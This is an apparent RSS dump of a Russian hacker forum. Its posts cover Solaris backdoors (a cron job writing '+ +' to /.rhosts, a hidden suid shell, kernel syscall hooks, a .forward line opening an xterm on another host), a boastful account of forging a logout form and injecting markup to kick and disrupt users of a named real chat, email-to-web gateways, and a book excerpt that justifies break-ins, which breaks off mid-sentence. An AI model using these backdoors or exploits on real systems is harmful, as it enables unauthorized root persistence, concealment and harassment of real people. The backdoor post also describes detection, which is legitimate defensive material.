http://hackzona.youbb.ru/ Форум хакеров!!! ru-ru Wed, 05 Aug 2009 14:19:22 +0400 MyBB/mybb.ru http://hackzona.youbb.ru/viewtopic.php?pid=41#p41 <p>&quot;Мертвый компьютер - защищенный компьютер!&quot;</p> <p>Введение.</p> <p>Проникнуть в чужую систему и добиться там root привелегий это еще полдела. Как и в<br />известной игре в &quot;Царя горы&quot;, завоеванное нужно удержать. Для этого в систему вносятся<br />небольшие изменения, оставляются программы. Это и есть backdoors. Чтобы найти их в<br />своей системе ( А вдруг они там уже есть?! ;-), необходимо понимать способы их<br />создания. В этом документе я не претендую на описание всех возможных backdoors. Вы<br />можете предложить свой способ и пополнить коллекцию. Все названия относятся к OS<br />Solaris. В других *NIX системах они аналогичны.</p> <p>Классификация.</p> <p>Backdoors, дающие привилегии.</p> <p>Изменение атрибутов файлов.</p> <p>suid-bit (04000). При запуске программы, имеющей s бит система порождает процесс с<br />эффективным uid равным uid хозяина программы. Таким образом, копия shell, лежащая в<br />удаленном каталоге и имеющая sticky-bit, дает мгновенные права &quot;хозяина&quot; файла,<br />например root.</p> <p>Атрибуты специальных устройств.</p> <p>/dev/mem указывает на драйвер для доступа к памяти. Постановка на него атрибутов 0666<br />дает пользователю возможность прямой записи в память. Злоумышленник может найти proc_t<br />структуру своего процесса и изменить его эффективный uid. {kmem_thief}</p> <p>Изменение системных файлов.</p> <p>/var/spool/cron/crontabs/ Cron создает заказанные процессы в установленное время.<br />Взломщик может добавить строку, создающую, например, .rhosts файл в полночь и<br />уничтожающую его утром в файл заданий root.</p> <p>/var/spool/cron/crontabs/root:<br />0 22 * * 6 &quot;echo '+ +' &gt; /.rhosts&quot;<br />0 6 * * 1 &quot;rm -rf /.rhosts&quot;</p> <p>/etc/passwd, /etc/shadow - в этих файлах храниться информация о аккаунтах. Взломщик<br />может добавть в них свои записи или изменить аттрибуты этих файлов для внесения в<br />произвольный момент своей информации.</p> <p>/var/sadm/install/contents - этот файл хранит информацию о проинсталлированных в<br />системе файлах, их размеры, атрибуты и контрольную сумму. Этот файл может быть изменен<br />для сокрытия модификации программ.</p> <p>Подмена программ, модификация библиотек.</p> <p>Программы, имеющие sticky-bit или часто выполняемые администратором системы могут быть<br />модифицированны для внесения изменений в систему при выполнении администратором. E.g:<br />....<br />if( !geteuid())<br />chmod(&quot;/var/tmp/.hidden_shell&quot;, 0x4555);<br />....</p> <p>Аналогичный кусочек может быть вставлен в одну библиотек, например libc. Библиотека<br />libc.a разбирается на обьектные файлы. Необходимая функция модифицируется и<br />компилируется новая динамическая библиотека.</p> <p>Добавление модулей в ядро.</p> <p>Взломщик может добавить свой модуль в ядро и перехватить какой-либо из системных<br />вызовов, скажем, SYS_setuid.<br />SYS_setuid Solaris 2.6<br />....<br />proc_t p;<br />user_t ut;<br />int my_setuid(uid_t uid)<br />{<br />int rval;</p> <p>p = ttoproc(curthread);<br />mutex_enter(&amp;p-&gt;p_lock);<br />up = prumap(p);<br />rval = bcmp(up-&gt;u_comm, &quot;devil&quot;, 5);<br />(void)prunmap(p);<br />mutex_exit(&amp;p-&gt;p_lock);<br />if( rval) {<br />rval = setuid(uid);<br />} else {<br />...<br />}<br />return 0;<br />}<br />....</p> <p>Теперь достаточно переименовать свою программу в devil* и вызвать setuid для получения<br />uid = 0.</p> <p>Специально оставленные программы.</p> <p>В системе могут быть оcтавлены файлы, такие как passwd крекеры, exploits для suid<br />программ, etc. На не пропатченной системе с помощью exploitов могут быть получены root<br />привелегии за счет выполнения кода в стеке программ имеющих sticky-bit.</p> <p>Backdoors, дающие доступ к системе.</p> <p>Введение доверенных отношений</p> <p>~user/.rhosts, /etc/host.equiv, ~user/.shosts (при установленном SSH) Эти файлы<br />создают доверенные отношения в сети. К ним обращаются демоны in.rlogind, in.rshd,<br />sshd, etc. В файлах оговорены пары компьютер-пользователь которые могут входить в<br />систему минуя схему аутенфикации. Пара '+ +' позволяет вход любого пользователя с<br />любого компьютера без пароля. Наличие файла /.rhosts {+ +} предоставляет возможность<br />войди в систему как root или smtp (uid=0, gid=0). Ограничение на вход пользователя<br />root только с консоли не запрещает удаленный вход пользователя smtp, a<br />/usr/bin/.rhosts дает вход для пользователя 'bin'</p> <p>~user/.forward в этом файле хранится информация для перенаправления почты. Он может<br />выглядеть например так:<br />\user<br />|&quot;/usr/openwin/bin/xterm -display another.host.net:0&quot;</p> <p>Добавление или модификация демонов.</p> <p>Системные демоны обычно запускаются при старте системы из /etc/rc?.d/ файлов или при<br />помощи мета-демона inetd. В эти файлы можно добавить старт своего демона. Для<br />затруднения обнаружения посторонних соединений путем прослушивания сети или обмана<br />firewalla чужая программа может использоваться UDP протокол или ICMP пакеты.</p> <p>Backdoors, маскирующие активность в системе.</p> <p>Подмена программ.</p> <p>Замена программ исправленными версиями используется для маскировки своей работы в<br />системе, например, запуска ломалки паролей. Программы изменяются так что бы не<br />показывать активность определенного пользователя, запускаемых им процессов,<br />использование дискового пространства. Наиболее известным из пакетов программ для<br />замены системных утилит является RootKit. {RootKit SunOS, RootKit Linux}</p> <p>Введение модулей в ядро.</p> <p>Модули могут перехватывать системные вызовы обращения к файлам, получения информации о<br />системе и сознательно искажать получаемую информацию. Например, при открытии файла<br />&quot;/etc/inetd.conf&quot; будет происходить открытие резервной копии этого файла спрятанной в<br />системе. Таким образом скрывается изменение системных файлов. SYS_open:<br />SYS_open Solaris 2.6<br />...<br />static char new_path = &quot;/var/tmp/.locks/.idx/inetd.conf&quot;;<br />int my_open(char *fname, int fmode, int cmode)<br />{<br />int rval;</p> <p>rval = bcmp(fname, &quot;/etc/inetd.conf&quot;, 16);<br />if( rval) {<br />return(copen(fname, (int)(fmode-FOPEN), cmode));<br />} else {<br />return(copen(new_path, (int)(fmode-FOPEN), cmode));<br />}<br />}<br />...</p> <p>Определение backdoors.</p> <p>Хорошо спрятанный backdoor довольно трудно найти. Вопросы поиска и создания backdoors<br />напоминают &quot;спор брони и снаряда&quot;.</p> <p>Проверка файлов.</p> <p>Разумным решением является сделать назависимый список системных файлов с их атрибутами<br />и контрольными суммами. Этот список создается после инсталляции новой системы и<br />корректировки ее с помощью aset (SUNWast) или 'fix-modes' by Casper Dik. Проверка<br />файлов в системе можно производить по cron или постоянным процессом с низким<br />приоритетом. Контрольные суммы вычисляемые /bin/sum не являются надежной гарантией<br />безопасности, т.к. легко подбираются. Можно порекомедовать для этих целей MD5.<br />Существует ряд продуктов различных фирм, позволяющих просматривать систему на предмет<br />&quot;странных&quot; файлов, дат, атрибутов.</p> <p>Контроль сетевых соединений.</p> <p>Узнать о постороннем доступе в систему можно контролируя сетевой траффик и сканнируя<br />хосты на предмет открытых портов. Существует большое количество как сканеров так и<br />систем контроля за сетевым траффиком. Лучшим решением всегда остается firewall ;-).</p> <p>Поддержание системы в разумном порядке.</p> <p>Системы со всеми инсталлированными патчами, отключенными неиспользуемыми сервисами<br />существенно меньше подвержены разрушению, с разумно ограниченным доверием ;-)</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:19:22 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=41#p41 http://hackzona.youbb.ru/viewtopic.php?pid=40#p40 <p>Навеяно статьей про то, как чаты поломали... Хотя действительно чат ломать - пара пустяков, но смотря какой чат еще... :-)))</p> <p>1. Дырка в чате <a href="http://chat.chuvashia.com" rel="nofollow" target="_blank">http://chat.chuvashia.com</a></p> <p>В общем бываю я иногда (редко очень :-((, но все ж заглядываю) на чате &quot;Город над Волгой&quot; (<a href="http://chat.chuvashia.com" rel="nofollow" target="_blank">http://chat.chuvashia.com</a>). Физически находится в Чебоксарах - мой родной город, так что сами понимаете, иногда ностальгия начинает мучить, так что сил нет терпеть, просто приходишь туда и с земляками (больше с землячками конечно :-)), а их там много) душу просто отводишь...<br />Ну вот значит... Залазим на чат под ником nick... Ага... залезли... Смотрим на нижний фреймик... Сохраняем его у себя и внимательно наблюдаем...</p> <p>Первый прикол.<br />Смотрим на вторую форму... Дальше будут сокращенные цитаты:</p> <p>&lt;form method=&quot;POST&quot; action=&quot;mainprog.pl&quot;&gt;<br />&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;logof&quot;&gt;<br />&lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=nick&gt;<br />&lt;input type=&quot;hidden&quot; name=&quot;userid&quot; value=7134NICK8817&gt;<br />&lt;input src=&quot;exit.GIF&quot; border=&quot;0&quot; name=&quot;exit&quot; width=&quot;80&quot; height=&quot;30&quot; alt=&quot;EXIT!&quot; type=&quot;image&quot;&gt;<br />&lt;/form&gt;</p> <p>ага... все ясно... Так, заменяем на следующую конструкцию</p> <p>&lt;form method=&quot;POST&quot; action=&quot;http://chat.chuvashia.com/mainprog.pl&quot;&gt;<br />&lt;input type=&quot;edit&quot; name=&quot;action&quot; value=&quot;logof&quot;&gt;<br />&lt;input type=&quot;edit&quot; name=&quot;username&quot;&gt;<br />&lt;input type=submit&gt;<br />&lt;/form&gt;</p> <p>Заметили 10 отличий? :-))). Ну что... Пробуем ввести имя того, кто в чате сидит, например, &quot;ibz&quot;... Жмем кнопку... Ой... ibz ушел... Странно... опять зашел, еще раз повторили операцию... Ой... Опять ушел... Все... работает значит :-))))<br />Сам в это время в чате болтаю, с девчонкой одной... Назовем ее Земфира...<br />nick: Земфира ты фокусы любишь?<br />Земфира: люблю :-)))<br />nick: А есть щас в чате, кто тебя чем-нибудь обидел?<br />Земфира: Зидан<br />nick: зидан, говоришь?</p> <p>А сам в это время его убиваю :-)))<br />nick: ой, смотри, чо-то он вылетел :-)))?<br />Земфира: :-)), я уж подумала что это ты :-))))</p> <p>Зидан в это время еще раз заходит, и я его еще раз выкидываю...<br />nick: да нет, что ты, как я могу это сделать, это ж только админы<br />могут, да и то, зидан же админ, его выкинуть нельзя :-)))?</p> <p>Зидан заходит еще раз и еще раз, и все так же вылетает<br />Земфира: Да нет! это ты! Классно, я тоже так хочу! :-))))</p> <p>Пока я ей обьяснял, что да как, зидан так и не появился... Видать комп перегружал бедолага :-)))). Ага вот он снова появился... Тут мне конечно нужно было остановится, но раз уж взял заказ, то выполняй его до конца... В общем бедный зидан пробовал влезать в чат, успевал бросить одну фразу (или не успевал, зависело от моей реакции :-))) и сразу же вылетал еще раз 15 наверно... Ну потом они конечно догадались, выкинули ту девчонку, я выкинул того, кто ее выкинул, меня тоже выкинули... В общем было весело. Мне прикрыли ип - я залез через проксю - посмотрел, что там творится - а там трупы, трупы... зидан озверел, понял наконец, что произошло и просто всех подряд убивал :-))) Вечеринка удалась :-)))))</p> <p>Мораль...<br />Ошибка у них (создателей чата) была в том, что они при action=logof не проверяли userid (а это уникальный параметр, присваивается каждому входящему свой, случайным образом), и выкидывали сразу по одному только username.<br />Эта ошибка сразу же была пофиксена, поэтому на этом чате ее не ищите, ищите на других - наверняка она у многих встречается, не на всех чатах, например, уникальными userid пользуются... У многих все гораздо проще :-))))</p> <p>Второй прикол...<br />Смотрим теперь на первую форму :-)))) Надо сказать, что тэги в этом чате запрещены, и поэтому особо не побалуешься... Шрифт не поменяешь, размер не увеличишь... Обидно... Но не страшно... иба как говорится на каждую отвертку есть труба с лабиринтом (звучит не так конечно, но матом мы ругаться не будем :-))))<br />Смотрим на первую форму... оля-ля-ля... сколько параметров, некоторые и не используются... О... кажется нашли что надо... среди прочих там есть и такой:</p> <p>&lt;select name=&quot;colname&quot;&gt;<br />&lt;option selected value=White style=&quot;color: White&quot;&gt;White&lt;/option&gt;<br />&lt;option value=&quot;#F0F8FF&quot; style=&quot;color: #F0F8FF&quot;&gt;Aliceblue&lt;/option&gt;<br />... и т.д.<br />&lt;option value=&quot;#9ACD32&quot; style=&quot;color: #9ACD32&quot;&gt;Yellowgreen&lt;/option&gt;<br />&lt;/select&gt;<br />Быстренько меняем эту конструкцию на свою:</p> <p>&lt;input type=edit name=&quot;colname&quot;&gt;</p> <p>Так... сделали то что нужно... открываем то что получилось. и в нашем поле вводим следующее:</p> <p>red Face=Arial Size=6</p> <p>кто догадался - это мы тэг &lt;FONT&gt; просто своими параметрами дополнили :-)))) Набиваем и отправляем свой текст - оп-па... Большая жирная красная надпись :-))) (И смачный шлепок от админов за ваши баловства :-)))))</p> <p>Ну вот, теперь мы крутые, как админы можем красиво писать :-)). Теперь другая фишечка... а не попробовать ли нам поставить вот так вот</p> <p>&quot;</p> <p>Правильно, правильно догадались. Ставим и что получаем в итоге? Страничка с сообщениями &quot;повисает&quot;, и не думай что это у тебя одного так :-)))) У всех виснет... Дело в том, что там яваскриптик стоит, а он как раз на этой &quot; спотыкается, возникает ошибка, и страничка дальше не грузится... по крайней мере у многих... :-))) НУ что... гадость это конечно порядочная, но что поделать - аляфер ком аляфер как говорится :-))) Можно конечно утонченней сделать - послать такое сообщение в приват врагу и он лишается привата на некоторое (иногда даже очень длительное :-)))) время.<br />Ну что значит, рассказал я одному знакомому значит, он и побаловался немножко :-)))). В общем чат на ремонте у них сейчас :-))))</p> <p>Мораль...<br />Ошибка у них в том что:<br />первое - они не проверяли то, что именно приходит по параметру colname<br />второе - они не конвертили &quot; в &quot; (хотя даже если б и конвертили - все равно неправильно было бы :-)))). Ладно хоть догадались &gt; и <br />&amp;rt убирать... а то сами понимаете:<br />&amp;rt&lt; дальше любой тэг, и пиши пропало... :-))))</p> <p>Еще раз повторюсь, эти ошибки убрали уже (они старую версию чата вроде загрузили - может и ее заодно проверить думаю?)<br />Автор: IbZ</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:18:12 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=40#p40 http://hackzona.youbb.ru/viewtopic.php?pid=39#p39 <p>Некоторые пользователи сети Интернет вынуждены по разным причинам работать преимущественно с е-майлом. Деньги там экономят на &quot;Волгу&quot; или что ещё, но сидят они на е-майле и ни в какую... Из-за этого они впадают в депрессию, потому что невозможно-де ходить по интернету и пучеглазить на сайты, и это состояние отрицательно сказывается на их здоровье и трудовых успехах. Или ещё хлеще - они не спят по ночам, стараясь попасть в &quot;дешёвое&quot; время из-за пары-другой каких-нибудь левых сайтов. Сами понимаете, что это никак не назовёшь хорошей жизнью. Я и сам был в такой ситуации (да и сейчас в ней нахожусь - сижу в основном, на е-майле) и знаю отлично, к чему это приводит - а ни к чему хорошему. Нервы сдают, жизнь ломается, рука всё время тянется к кошельку достать денежки и купить нормальный неограниченный доступ в интернет или там интернет-карту... На пиво не остаётся, и поэтому кайф от интернета, само собой, ломается...<br />Оказывается, эта трудность легко поправима. Можно получать любые страницы интернета на свой почтовый ящик по какому-нибудь дешёвому &quot;безинтернетному&quot;, е-майловому доступу, а на сэкономленные денежки попивать пивко!<br />Попробовав различные буржуйские серверы, предлагающие бесплатно эти услуги, я остановился на этих вот. И Вам рекомендую их тоже.<br />cерверы PageGetter<br />В графе &quot;куда&quot; - адрес (см. ниже)<br />В графе &quot;тема&quot; - пустота<br />В самом письме пишете адрес странички (лучше с http://...), ну например: <a href="http://www.apatity.mels.ru/~itravine" rel="nofollow" target="_blank">http://www.apatity.mels.ru/~itravine</a><br />Заказывать можно не одну, а сразу несколько страничек за раз. Адрес каждой странички - на отдельной строчке.<br />Отправляете это письмо на любой из нижних е-майловых адресов (пишем их в графу &quot;куда&quot;)<br />text@PageGetter.com- приходит страничка в виде текстовой вырезки, без картинок и цветных фонов. Все ссылки сохранены. Русский язык и кодировки поддерживаются. <br />Надо пойти по ссылочке - копируем ярлык, вставляем в новое письмо и посылаем опять на этот сервер. Этот сервер хорош, когда важнее не картинки (всякая рекламная ерунда или надоедливые баннеры, например), а именно текст. Я часто пользуюсь именно этим сервером.<br />web@PageGetter.com- приходит страничка с текстом, картинками, фонами. Со всем, чем её напичкали буржуи или там наши отечественные трудяги Интернета... <br />По ссылке идём по другому - жмём на ссылку и почт-программа формирует письмецо, где сама пропишет всё что нужно.<br />HTML@PageGetter.com- приходит страничка с цветным фоном, корректной расстановкой текста/баннеров/картинок/заставок/таблиц по полю, но без этих самых картинок. Очень удобно. Похоже на работу серверов группы www4mail , только ждать приходится меньше и &quot;раскрывать&quot; отдельно не надо. Работаем с ссылками аналогично, как и с web@PageGetter.com... <br />Вот если совсем всё равно, какие там фоны или ненужные фотки на страничке висят, а важен только лишь текст, то, действительно, я рекомендую text@PageGetter.com, т.к. текст-то приходит полностью, а разница в размере полученной странички может изменяться в десятки раз по сравнении с полученной от web@PageGetter.com. Ну а если там какие таблицы висят или в общем охота посмотреть, как страничка выглядит, но опять же наплевать на картинки - то HTML@PageGetter.com. А если всё же охота на картинки/баннеры посмотреть - web@PageGetter.com.<br />Так как сейчас буржуи-владельцы этих серверов захотели поправить своё финасовое положение, то хочу предупредить, что отсылают они сейчас странички с лимитом - 40 страничек в месяц или 10 Мь на один е-майл. Это просто кошмар и я однажды съел всю квоту за один день. Кстати, съел я её, пользуясь text@PageGetter. Так что учтите: квота одна на все эти серверы.<br />Как обойти эту квоту я не знаю. Можно зайти с другого ящика и получить ещё 40 страничек на мыло, но это не выход в большинстве случаев. Да ещё буржуи вздумали иногда дублировать запрос и слать по две заказанных странички. Конечно, это дважды увеличивает расходы по квоте...<br />А можно вспомнить сервера <br />www4mail <br />Они позволяют получать странички и качать картинки и небольшие программы и архивы из сети. Тоже неплохо. Также они позволяют заполнять онлайн-формы и отсылать их на обработку. Например, я не выхожу в &quot;дорогой&quot; интернет, чтобы написать что-либо в чьей-либо гостевой или чтобы заполнить форму на &quot;халяву&quot;.<br />Итак, эти сервера. Начнём хотя бы с этих:<br />www4mail@web.bellanet.org<br />www4mail@wm.ictp.trieste.it -идеально подходит для получения картинок! <br />www4mail@ftp.uni-stuttgart.de -хорош для получения текстовой информации, работает очень быстро. <br />www4mail@access.bellanet.org -позволяет заполнять онлайн-формы! <br />www4mail@collaborium.org -позволяет заполнять онлайн-формы! <br />Все они имеют квоты, но они не столь жестоки, как у предыдущих серверов и кажинный раз Вам сообщают, сколько у Вас чего осталось.<br />Высылаете письмо на сервер, в теле пишете адрес странички ( с http://) и получаете ответное письмо с прикреплённым документом в виде той самой странички. Картинок нет. Все ссылки и ссылки на картинки заменены на квадратики, ставите &quot;галочку&quot; - жмёте большую клавишу внизу текста на экране - программа сама формирует ответное письмо на этот сервер и размещает его в &quot;Выходящей&quot; папке почтовой программы. Нельзя за один такой раз &quot;галочить&quot; больше пяти ссылок. Можно очистить квадратики маленькой клавишей внизу и загалочить ещё. <br />Обычно выскакивает (у меня, например) информация, что сейчас-де будет сформировано письмо для работы по почте. И спрашивает, продолжать или нет. Жмём &quot;продолжать&quot; - &quot;да&quot;.<br />Совет: ставьте &quot;работать автономно&quot;-&quot;offline&quot; перед этими действиями, а то можно завесить почт-программу. На каждый запрос &quot;посылать письмо?&quot; отвечаем отрицательно. Шлём только стандартным способом почт-программы.<br />Таким образом можно получать как картинки, так и программы и архивы до 300 Кь.<br />Сервера www4mail@collaborium.org / www4mail@access.bellanet.org позволяют заполнять онлайн-формы (например, на &quot;халяву&quot;) и оставлять сообщения в гостевых книгах на любом сервере. <br />Я думаю, что всё равно, это просто замечательно подойдёт любому &quot;ограниченному&quot; интернетчику.<br />Пример посылки смс на сев-зап по е-майлу с использованием веб-сервиса.<br />Итак, надо позарез послать смс-ку нужному человеку на мобилу… А вот в инет не выйти, чтобы оттуда послать… Только почта и есть, например… Эх, была-не была… пойду куплю карту, и законнектюсь... СТОП! Можно и по почте. Да так ещё и дешевле может выйти… даже чем с самой мобилы…<br />Итак, шлём письмо на<br />www4mail@collaborium.org или www4mail@access.bellanet.org и пишем там ссылку: <a href="http://www.nwgsm.com/sendsms.htm" rel="nofollow" target="_blank">http://www.nwgsm.com/sendsms.htm</a><br />Через некоторое время придёт к вам письмо… с прикреплённым файлом, открываете его - опа-на, на экране - форма отправки смс. Если абракадабру кажет - поставьте кодировку кои-8 вручную… Пишете номер мобилы, текст сообщения… жмёте send и формируется письмо на е-майл и само помещается в &quot;исходящих&quot;. Отсылаете почту и через некоторое время - смс у вашего знакомого. Кстати, не забудьте подписаться, потому как смс ему придёт с номера 0001000.<br />Информация любезно предоставлена Ильёй Травиным</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 14:16:27 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=39#p39 http://hackzona.youbb.ru/viewtopic.php?pid=38#p38 <p>— И что это за профессия такая, прости господи! Сын лейтенанта Шмидта, Ну, год еще, ну, два. А дальше что? Дальше ваши рыжие кудри примелькаются, и вас просто начнут бить.</p> <p>— Так что же делать! — забеспокоился Балаганов.</p> <p>— Надо мыслить, — сурово ответил Остап.</p> <p>И. Ильф, Е. Петров. Золотой теленок</p> <p>Многие хакеры и не хакеры излагают свои версии “хакерской этики”, и почти все версии похожи друг на друга. Но часто крутые ребята-хакеры сначала следуют принципам, моральным установкам — Кодексу чести, — а затем их уводит в сторону. Им начинает казаться, что, зная закон, они получают право его нарушать: “Мы не действуем вслепую”. Так поступают крутые ребята — они знают, что они крутые, забывая при этом, что порой даже самые крутые хакеры на поверку оказываются полными тупицами.</p> <p>Я хочу изложить вам свою собственную версию хакерского Кодекса чести. Это список моих убеждений, относящихся к миру компьютеров. Возможно, у вас совсем другие убеждения, но это не страшно — хакеры люди независимые. Впрочем, я хочу, чтобы вы поняли, почему так важно сформулировать кодекс чести и следовать ему. Это может уберечь вас от неприятностей. Я не хочу сказать, что, если вас поймают, суд обратит внимание на то, что вы вели себя в соответствии со своими принципами, особенно если эти принципы включают в себя незаконную деятельность. Я имею в виду, что мне хотелось бы верить в следующее: если вы сформулировали свой моральный кодекс, и если все хакеры из вашего круга подпишут заверения в своей верности этому кодексу, то, быть может, судья или присяжные скажут себе: “Господи, да ведь он не собирался причинять никакого вреда”. Вы, возможно, помните наш разговор об умышленном причинении вреда. Хотелось бы думать, что суд обратит на это внимание, хотя в действительности люди редко пытаются посмотреть на веши с чужой точки зрения. По крайней мере, обладая кодексом чести, вы сможете избавиться от нежелательных людей, и участники вашей группы будут счастливы и в безопасности. Но еще более важно то, что в подобном кодексе, которому вы следуете, присутствует какая-то необъяснимая скрытая ценность. Вам кажется, что я читаю вам проповеди? Ну что ж, я не стану спорить. Вот мой Кодекс Чести Хакера. Здесь мои принципы, касающиеся компьютеров и хакерства, которым я стараюсь следовать.</p> <p>мой кодекс: чести</p> <p>Компьютеры дали возможность каждому получать огромные количества информации быстрее и дешевле, чем когда-либо прежде. Свободное распространение информации является благом, но лишь постольку, поскольку не ущемляет прав человека. Существует два вида прав человека—права отдельной личности и права человечества в целом. Человечество должно иметь возможность виртуального доступа к любой информации, и эта информация должна использоваться в моральных целях.</p> <p>Люди должны знать то, что они хотят знать, и нельзя скрывать от них информацию. Новые идеи должны публиковаться и обсуждаться. Знания должны доходить до людей. Технологии должны использоваться на благо людей, но не ради наживы и не в политических целях. Каждый человек должен иметь право на то, чтобы связанная с ним информация не использовалась во вред ему. Люди должны иметь право знать, если их личная информация внесена в базу данных, знать о том, кому и когда она отдается или продается. Они должны иметь право следить за тем, каким образом используется эта информация. Человек должен иметь право проверять информацию о самом себе, если она занесена в компьютерный файл или базу данных, и в этом ему не должны чиниться препятствия. Он должен иметь право беспрепятственно исправлять неточности в этих данных, и убирать оскорбительную для себя информацию. Аюди должны иметь гарантию, что те, кто создает и обслуживает базы данных, будут своевременно предоставлять им эти права.</p> <p>Так должно быть, и в некоторых ситуациях эти права действительно имеют силу. Но большинство этих прав почти единодушно игнорируется. Значит, взломы необходимы.</p> <p>Хакерство позволяет использовать компьютеры в соответствии с вышеперечисленными идеалами. Хакеры обладают идеалами относительно всех людей и всего человечества в целом, и у меня есть набор таких идеалов, которые лично я использую. Вот главные из них:</p> <p>• Никогда и никаким образом не наноси вред ни компьютеру, ни программному обеспечению, ни системе, ни человеку, ничего не изменяй и не уничтожай.</p> <p>• Если вред все же был нанесен, сделай все, что в твоих силах, чтобы исправить содеянное, и предотвратить подобное в будущем.</p> <p>• Не позволяй ни себе, ни другим откровенно наживаться на взломах.</p> <p>• Сообщай компьютерным менеджерам о наличии прорех в защите их компьютеров.</p> <p>• Учи других, если тебя просят об этом, делись знаниями, если тебе есть чем делиться. Это не необходимость, но простая вежливость.</p> <p>• Помни о своей уязвимости во всем, что касается компьютеров, включая секреты, которые тебе удалось узнать с помощью взломов.</p> <p>• Будь осторожен. Проявляй настойчивость, но не делай глупостей и не рискуй понапрасну.</p> <p>Я не хочу сказать, что следование этим принципам делает мои занятия хакерством моральными или правомочными. Но я также не считаю, что мое хакерство аморально. И я не стану выслушивать ничьих возражений по этому поводу. Мы-то знаем, что законно, а что — нет. Я собираюсь заниматься хакерством вне зависимости от того, насколько моральным я его считаю. И если у вас возникнет вопрос типа “Неужели вы действительно думаете, что этот ваш кодекс чести может оправдать что-нибудь вроде „вынюхивания&quot;?”, значит, у вас в крови нет хакерства.</p> <p>комбинирование принципов</p> <p>В данной книге я попытался предложить основные указания по различным темам, которые подготовят вас к любой, связанной с компьютерами, ситуации, в которой вы можете оказаться.</p> <p>Когда речь заходит о понятии “хакерства”, невозможно говорить о какой-то определенной последовательности шагов, которые следует предпринимать для достижения своих целей. Надо, скорее, выбрать основные идеи, дополнять их по мере необходимости, и взламывать до тех пор, пока что-то не выйдет. Зная, что вас ожидает, вы будете знать, как реагировать на очередное изменение, — и ваши хакерские способности только увеличатся. Я хочу рассказать вам еще одну, последнюю, историю. Она демонстрирует многое из того, о чем вы прочли в книге: исследования, копание в мусоре, подглядывание через плечо, упорство и логические рассуждения, программистские методы и методы грубой силы, общие знания о компьютерах, простую и обратную социальную инженерию, анализ экранов и модели систем. Эта история показывает, как все это вместе работает на конечный результат — удачный взлом.</p> <p>“команда тигров” в моем лице</p> <p>Недавно мне представилась возможность показать себя в хакерстве, взламывая только что установленную компьютерную систему специализированной библиотеки. Директор библиотеки был в курсе дела, поскольку они недавно обратились к этой новой системе, которая, в отличие от предыдущих, давала возможность получения коммутируемого доступа с внешних линий. Директор захотел узнать, возможно ли, находясь в режиме поиска, проникнуть в запретные зоны, имеющие дело с штрафами за просроченные книги, именами и адресами клиентов и можно ли вообще выйти из библиотечной программы в ОС? И многое-многое другое. Я сообщил ему, что буду счастлив разобраться с этой проблемой. Он предложил дать мне один из номеров для соединения с системой, но я отказался. Ведь я — хакер! (На самом деле я просто хотел произвести на него впечатление — я уже знал этот номер, когда он демонстрировал мне работу общедоступной части системы.)</p> <p>Я вызвал систему из дома и изучил ее вдоль и поперек. Это была система, работавшая по командам. На экране я смог выбрать функцию, вводя такие команды, как CAT для поиска библиотечного каталога, и HOL, чтобы помечать пункты. Правильно завершать сеанс работы следовало с помошыо команды END. Я попробовал вводить другие, не указанные, команды. Очень часто бывает так, что часть системы является открытой, а часть —• секретной. Почти всегда общедоступная часть располагает по крайней мере одной секретной командой для входа в закрытую часть. Итак, я использовал множество ключевых слов: EXIT, BYE, LATER и т. д. Я видел, что некоторые из них используются в действующих прикладных программах. Так, команда LEAVE открывала доступ в специальную область для кураторов и сотрудников музея. Но ни одна из испробованных мною команд не сработала. Так как система была новой и не устоявшейся, я не сомневался, что в ней должна быть куча ошибок, которые я смогу обнаружить. В разговоре с директором он упомянул о том, что определенные функциональные клавиши на терминалах еще не установлены, и их нажатие означает провал в непонятную программную оболочку. Ага! Вот это-то мне и надо! Но, если вы вызываете систему по телефонной линии, вы не сможете добраться до функциональных клавиш. Я думал, что, возможно, функциональные клавиши являлись макросами команд, которые пользователь так или иначе должен вводить вручную, но я не знал этих команд.</p> <p>Под покровом ночи я извлекал содержимое находящихся возле здания мусорных контейнеров в поисках полезной информации, и наконец нашел кое-что — ужасно изорванную брошюрку — документацию по интересующей меня системе. Лома я увидел, что среди перечисленных в карточке вешей были и имена команд, присвоенных функциональным клавишам. Одну-две из них можно было прочесть, остальные же прочесть не удалось. Но и двух было достаточно. Мне сразу стало ясно, что я исходил из неверных предпосылок — не ВСЕ команды представляли собой стандартные слова английского языка или аббревиатуры. Присутствовали и двузначные команды, и точечные. Вводя точечную команду, вы набираете сперва точку, а вслед за ней — буквенно-иифровую команду. Они часто используются в прикладных программах, когда непосредственный ввод буквенно-цифровой команды может быть истолкован как ввод данных. В программах часто используется точка перед командами, поскольку точка — простой, неприметный символ, который очень просто набрать. Но иногда в “точечных” командах используются и другие символы — слеш, апостроф и т. п. Из карточки я узнал, нажатие клавиши F1 соответствует команде .QUIT, a F2 — команде .HELP. Это показалось многообещающим — .QUIT могла давать доступ к закрытым областям, а помощи, скорее всего, вообще пока нет, так как система только что установлена. Возможно, эта функция</p> <p>и ведет к остановке системы. Я вызывал компьютер по внешней линии, а через модем нажатие функциональных клавиш передать невозможно; так что мне оставалось надеяться на .QUIT и .HELP. Конечно, я уже пытался их вводить, но без точки. Может быть, теперь... Нет! Ничего! Команда .QUIT просто отсоединила меня от компьютера. В ответ на .HELP экран очистился, и на нем появилось следующее:</p> <p>*EOF\txt\hlp\helpOOO* Я предположил, что это означало End Of File helpOOO в директории \txt\hlp, то есть файл существовал, но был пустым. Я тут же обрадовался — теперь я знаю о директориях текстовых файлов и файлов помощи. И я заметил еще кое-что:</p> <p>каждый раз при смене экрана вверху появлялось нечто вроде:</p> <p>*** J. Smith Co Special Library On-Line ***</p> <p>(000)U,SYSv55.6 Три цифры в скобках изменялись в соответствии с тем, какую часть программы я использовал. Три нуля, возможно, означали открытый экран, где я пытался набирать не указанные в списке команды. Если я наберу команду .HELP вместе с номером экрана, допустим, (013), значит, решил я, система начнет искать файл “\txt\hlp\help013”. Так и случилось. Аля ввода эта система использовала, в том числе, и команды, сопровождающиеся номером. Мне стало интересно, подходит ли такой формат и для команд помощи. Я попробовал ввести “HELP99999”, надеясь, что такое большое число система просто не проглотит — ведь, такого экрана просто не может быть. В ответ я получил сообщение о неверной команде. Я 